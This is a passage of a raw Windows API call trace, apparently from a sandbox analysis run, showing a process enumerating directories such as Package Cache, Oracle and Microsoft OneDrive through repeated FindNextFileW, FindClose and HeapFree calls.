ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Profiles", cAlternateFileName="")) returned 1 [0196.924] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45546c0 | out: hHeap=0x710000) returned 1 [0196.924] FindNextFileW (in: hFindFile=0x4532140, lpFindFileData=0x40bf584 | out: lpFindFileData=0x40bf584*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x17d079d0, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc2cc1154, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17d079d0, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Profiles", cAlternateFileName="")) returned 0 [0196.924] FindClose (in: hFindFile=0x4532140 | out: hFindFile=0x4532140) returned 1 [0196.924] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4510050 | out: hHeap=0x710000) returned 1 [0196.924] FindNextFileW (in: hFindFile=0x4532440, lpFindFileData=0x40bf800 | out: lpFindFileData=0x40bf800*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x17d079d0, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc2cc002d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17d079d0, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WwanSvc", cAlternateFileName="")) returned 0 [0196.924] FindClose (in: hFindFile=0x4532440 | out: hFindFile=0x4532440) returned 1 [0196.925] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x3750048 | out: hHeap=0x710000) returned 1 [0196.925] FindNextFileW (in: hFindFile=0x4532080, lpFindFileData=0x40bfa7c | out: lpFindFileData=0x40bfa7c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3ecd6462, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x3ecd6462, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x3ecd6462, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0xffffc2f2, cFileName="Microsoft OneDrive", cAlternateFileName="MICROS~2")) returned 1 [0196.926] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4510050 | out: hHeap=0x710000) returned 1 [0196.926] FindNextFileW (in: hFindFile=0x4532140, lpFindFileData=0x40bf800 | out: lpFindFileData=0x40bf800*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3ecd6462, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xe877edbb, ftLastAccessTime.dwHighDateTime=0x1d38c43, ftLastWriteTime.dwLowDateTime=0xe877edbb, ftLastWriteTime.dwHighDateTime=0x1d38c43, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="setup", cAlternateFileName="")) returned 0 [0196.926] FindClose (in: hFindFile=0x4532140 | out: hFindFile=0x4532140) returned 1 [0196.926] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x3750048 | out: hHeap=0x710000) returned 1 [0196.926] FindNextFileW (in: hFindFile=0x4532080, lpFindFileData=0x40bfa7c | out: lpFindFileData=0x40bfa7c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xa2d56a03, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa2d56a03, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa2d56a03, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0xffffc2f2, cFileName="Oracle", cAlternateFileName="")) returned 1 [0196.928] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45546c0 | out: hHeap=0x710000) returned 1 [0196.928] FindNextFileW (in: hFindFile=0x4532340, lpFindFileData=0x40bf584 | out: lpFindFileData=0x40bf584*(dwFileAttributes=0x2410, ftCreationTime.dwLowDateTime=0xac5d590c, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xac5d590c, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xac5d590c, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x2e0000, cFileName="javapath", cAlternateFileName="")) returned 1 [0196.929] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45546c0 | out: hHeap=0x710000) returned 1 [0196.929] FindNextFileW (in: hFindFile=0x4532340, lpFindFileData=0x40bf584 | out: lpFindFileData=0x40bf584*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xac5d590c, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xac5d590c, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xac5d590c, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x2e0000, cFileName="javapath_target_474984", cAlternateFileName="JAVAPA~1")) returned 1 [0196.929] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45546c0 | out: hHeap=0x710000) returned 1 [0196.929] FindNextFileW (in: hFindFile=0x4532340, lpFindFileData=0x40bf584 | out: lpFindFileData=0x40bf584*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xac5d590c, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xac5d590c, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xac5d590c, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x2e0000, cFileName="javapath_target_474984", cAlternateFileName="JAVAPA~1")) returned 0 [0196.930] FindClose (in: hFindFile=0x4532340 | out: hFindFile=0x4532340) returned 1 [0196.930] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4510050 | out: hHeap=0x710000) returned 1 [0196.930] FindNextFileW (in: hFindFile=0x4532140, lpFindFileData=0x40bf800 | out: lpFindFileData=0x40bf800*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xa2d56a03, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xad14ee36, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xad14ee36, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Java", cAlternateFileName="")) returned 0 [0196.930] FindClose (in: hFindFile=0x4532140 | out: hFindFile=0x4532140) returned 1 [0196.930] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x3750048 | out: hHeap=0x710000) returned 1 [0196.937] FindNextFileW (in: hFindFile=0x4532080, lpFindFileData=0x40bfa7c | out: lpFindFileData=0x40bfa7c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcf03b3d5, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xdefc9a0c, ftLastAccessTime.dwHighDateTime=0x1d327b7, ftLastWriteTime.dwLowDateTime=0xdefc9a0c, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0xffffc2f2, cFileName="Package Cache", cAlternateFileName="PACKAG~1")) returned 1 [0196.942] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45656d0 | out: hHeap=0x710000) returned 1 [0196.943] FindNextFileW (in: hFindFile=0x4532380, lpFindFileData=0x40bf308 | out: lpFindFileData=0x40bf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd262c839, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2e73631, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd2652a95, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcRuntimeMinimum_x86", cAlternateFileName="VCRUNT~1")) returned 0 [0196.943] FindClose (in: hFindFile=0x4532380 | out: hFindFile=0x4532380) returned 1 [0196.943] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45546c0 | out: hHeap=0x710000) returned 1 [0196.943] FindNextFileW (in: hFindFile=0x4532340, lpFindFileData=0x40bf584 | out: lpFindFileData=0x40bf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd262c839, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2e72597, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd262c839, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="packages", cAlternateFileName="")) returned 0 [0196.943] FindClose (in: hFindFile=0x4532340 | out: hFindFile=0x4532340) returned 1 [0196.943] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4510050 | out: hHeap=0x710000) returned 1 [0197.003] FindNextFileW (in: hFindFile=0x4532140, lpFindFileData=0x40bf800 | out: lpFindFileData=0x40bf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcf03b3d5, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2e7475e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xcf03b3d5, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}", cAlternateFileName="{33D1F~1")) returned 1 [0197.004] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4520058 | out: hHeap=0x710000) returned 1 [0197.004] FindNextFileW (in: hFindFile=0x4532140, lpFindFileData=0x40bf800 | out: lpFindFileData=0x40bf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd0ae7939, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2e75aa9, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd0b0dbb0, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030", cAlternateFileName="{37B8F~1.610")) returned 1 [0197.005] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45546c0 | out: hHeap=0x710000) returned 1 [0197.005] FindNextFileW (in: hFindFile=0x4532380, lpFindFileData=0x40bf308 | out: lpFindFileData=0x40bf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd0b0dbb0, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2ebe532, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd0b33e03, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcRuntimeAdditional_amd64", cAlternateFileName="VCRUNT~1")) returned 0 [0197.006] FindClose (in: hFindFile=0x4532380 | out: hFindFile=0x4532380) returned 1 [0197.006] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45446b8 | out: hHeap=0x710000) returned 1 [0197.006] FindNextFileW (in: hFindFile=0x4532440, lpFindFileData=0x40bf584 | out: lpFindFileData=0x40bf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd0b0dbb0, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2ebdead, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd0b0dbb0, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="packages", cAlternateFileName="")) returned 0 [0197.006] FindClose (in: hFindFile=0x4532440 | out: hFindFile=0x4532440) returned 1 [0197.006] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4520058 | out: hHeap=0x710000) returned 1 [0197.006] FindNextFileW (in: hFindFile=0x4532140, lpFindFileData=0x40bf800 | out: lpFindFileData=0x40bf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd408c921, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2ebeed6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd40b2b5b, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{3c3aafc8-d898-43ec-998f-965ffdae065a}", cAlternateFileName="{3C3AA~1")) returned 1 [0197.006] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4520058 | out: hHeap=0x710000) returned 1 [0197.006] FindNextFileW (in: hFindFile=0x4532140, lpFindFileData=0x40bf800 | out: lpFindFileData=0x40bf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9affe46, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2ebf4ad, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd9affe46, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017", cAlternateFileName="{582EA~1.250")) returned 1 [0197.007] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45546c0 | out: hHeap=0x710000) returned 1 [0197.007] FindNextFileW (in: hFindFile=0x4532440, lpFindFileData=0x40bf308 | out: lpFindFileData=0x40bf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9affe46, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2ec031b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd9b26095, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcRuntimeMinimum_x86", cAlternateFileName="VCRUNT~1")) returned 0 [0197.007] FindClose (in: hFindFile=0x4532440 | out: hFindFile=0x4532440) returned 1 [0197.007] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45446b8 | out: hHeap=0x710000) returned 1 [0197.007] FindNextFileW (in: hFindFile=0x4532380, lpFindFileData=0x40bf584 | out: lpFindFileData=0x40bf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9affe46, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2ebfbe2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd9affe46, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="packages", cAlternateFileName="")) returned 0 [0197.007] FindClose (in: hFindFile=0x4532380 | out: hFindFile=0x4532380) returned 1 [0197.007] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4520058 | out: hHeap=0x710000) returned 1 [0197.007] FindNextFileW (in: hFindFile=0x4532140, lpFindFileData=0x40bf800 | out: lpFindFileData=0x40bf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9b26095, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2ec0a31, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd9b26095, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017", cAlternateFileName="{68306~1.250")) returned 1 [0197.008] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45546c0 | out: hHeap=0x710000) returned 1 [0197.008] FindNextFileW (in: hFindFile=0x4532440, lpFindFileData=0x40bf308 | out: lpFindFileData=0x40bf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9b26095, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2ec173c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd9b4c2ed, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcRuntimeAdditional_x86", cAlternateFileName="VCRUNT~1")) returned 0 [0197.008] FindClose (in: hFindFile=0x4532440 | out: hFindFile=0x4532440) returned 1 [0197.008] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45446b8 | out: hHeap=0x710000) returned 1 [0197.008] FindNextFileW (in: hFindFile=0x4532380, lpFindFileData=0x40bf584 | out: lpFindFileData=0x40bf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9b26095, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2ec10ed, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd9b26095, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="packages", cAlternateFileName="")) returned 0 [0197.008] FindClose (in: hFindFile=0x4532380 | out: hFindFile=0x4532380) returned 1 [0197.008] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4520058 | out: hHeap=0x710000) returned 1 [0197.008] FindNextFileW (in: hFindFile=0x4532140, lpFindFileData=0x40bf800 | out: lpFindFileData=0x40bf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdc800531, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xdc800531, ftLastAccessTime.dwHighDateTime=0x1d327b7, ftLastWriteTime.dwLowDateTime=0xdc800531, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017", cAlternateFileName="{8D4F7~1.250")) returned 1 [0197.011] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45546c0 | out: hHeap=0x710000) returned 1 [0197.011] FindNextFileW (in: hFindFile=0x4532440, lpFindFileData=0x40bf308 | out: lpFindFileData=0x40bf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdc800531, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xdc8267ac, ftLastAccessTime.dwHighDateTime=0x1d327b7, ftLastWriteTime.dwLowDateTime=0xdc8267ac, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcRuntimeMinimum_amd64", cAlternateFileName="VCRUNT~1")) returned 0 [0197.011] FindClose (in: hFindFile=0x4532440 | out: hFindFile=0x4532440) returned 1 [0197.011] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45446b8 | out: hHeap=0x710000) returned 1 [0197.011] FindNextFileW (in: hFindFile=0x4532500, lpFindFileData=0x40bf584 | out: lpFindFileData=0x40bf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdc800531, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xdc800531, ftLastAccessTime.dwHighDateTime=0x1d327b7, ftLastWriteTime.dwLowDateTime=0xdc800531, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="packages", cAlternateFileName="")) returned 0 [0197.011] FindClose (in: hFindFile=0x4532500 | out: hFindFile=0x4532500) returned 1 [0197.011] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4520058 | out: hHeap=0x710000) returned 1 [0197.011] FindNextFileW (in: hFindFile=0x4532140, lpFindFileData=0x40bf800 | out: lpFindFileData=0x40bf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd417172a, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2f1d0bc, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd417172a, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005", cAlternateFileName="{929FB~1.210")) returned 1 [0197.013] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45546c0 | out: hHeap=0x710000) returned 1 [0197.013] FindNextFileW (in: hFindFile=0x4532440, lpFindFileData=0x40bf308 | out: lpFindFileData=0x40bf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd417172a, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2f759d9, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd41e3e2d, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcRuntimeAdditional_amd64", cAlternateFileName="VCRUNT~1")) returned 0 [0197.013] FindClose (in: hFindFile=0x4532440 | out: hFindFile=0x4532440) returned 1 [0197.014] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45446b8 | out: hHeap=0x710000) returned 1 [0197.014] FindNextFileW (in: hFindFile=0x4532380, lpFindFileData=0x40bf584 | out: lpFindFileData=0x40bf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd417172a, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2f1dba9, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd417172a, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="packages", cAlternateFileName="")) returned 0 [0197.014] FindClose (in: hFindFile=0x4532380 | out: hFindFile=0x4532380) returned 1 [0197.014] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4520058 | out: hHeap=0x710000) returned 1 [0197.014] FindNextFileW (in: hFindFile=0x4532140, lpFindFileData=0x40bf800 | out: lpFindFileData=0x40bf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd40fefff, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2f768c8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd414b4b9, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005", cAlternateFileName="{A749D~1.210")) returned 1 [0197.018] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45546c0 | out: hHeap=0x710000) returned 1 [0197.018] FindNextFileW (in: hFindFile=0x4532440, lpFindFileData=0x40bf308 | out: lpFindFileData=0x40bf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd414b4b9, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2f7778e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd417172a, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcRuntimeMinimum_amd64", cAlternateFileName="VCRUNT~1")) returned 0 [0197.018] FindClose (in: hFindFile=0x4532440 | out: hFindFile=0x4532440) returned 1 [0197.018] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45446b8 | out: hHeap=0x710000) returned 1 [0197.018] FindNextFileW (in: hFindFile=0x4532380, lpFindFileData=0x40bf584 | out: lpFindFileData=0x40bf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd414b4b9, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2f76e30, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd414b4b9, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="packages", cAlternateFileName="")) returned 0 [0197.018] FindClose (in: hFindFile=0x4532380 | out: hFindFile=0x4532380) returned 1 [0197.019] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4520058 | out: hHeap=0x710000) returned 1 [0197.019] FindNextFileW (in: hFindFile=0x4532140, lpFindFileData=0x40bf800 | out: lpFindFileData=0x40bf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcf0f9f9b, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2fe5a20, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xcf0f9f9b, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030", cAlternateFileName="{B1755~1.610")) returned 1 [0197.021] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45546c0 | out: hHeap=0x710000) returned 1 [0197.021] FindNextFileW (in: hFindFile=0x4532440, lpFindFileData=0x40bf308 | out: lpFindFileData=0x40bf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcf0f9f9b, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc3030713, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xcf14644f, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcRuntimeAdditional_x86", cAlternateFileName="VCRUNT~1")) returned 0 [0197.021] FindClose (in: hFindFile=0x4532440 | out: hFindFile=0x4532440) returned 1 [0197.022] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45446b8 | out: hHeap=0x710000) returned 1 [0197.022] FindNextFileW (in: hFindFile=0x4532380, lpFindFileData=0x40bf584 | out: lpFindFileData=0x40bf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcf0f9f9b, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2fe636a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xcf0f9f9b, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="packages", cAlternateFileName="")) returned 0 [0197.022] FindClose (in: hFindFile=0x4532380 | out: hFindFile=0x4532380) returned 1 [0197.022] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4520058 | out: hHeap=0x710000) returned 1 [0197.022] FindNextFileW (in: hFindFile=0x4532140, lpFindFileData=0x40bf800 | out: lpFindFileData=0x40bf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcf087898, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc3032038, ftLastAccessTime.dwHighDateTime=0x1d47ca3, 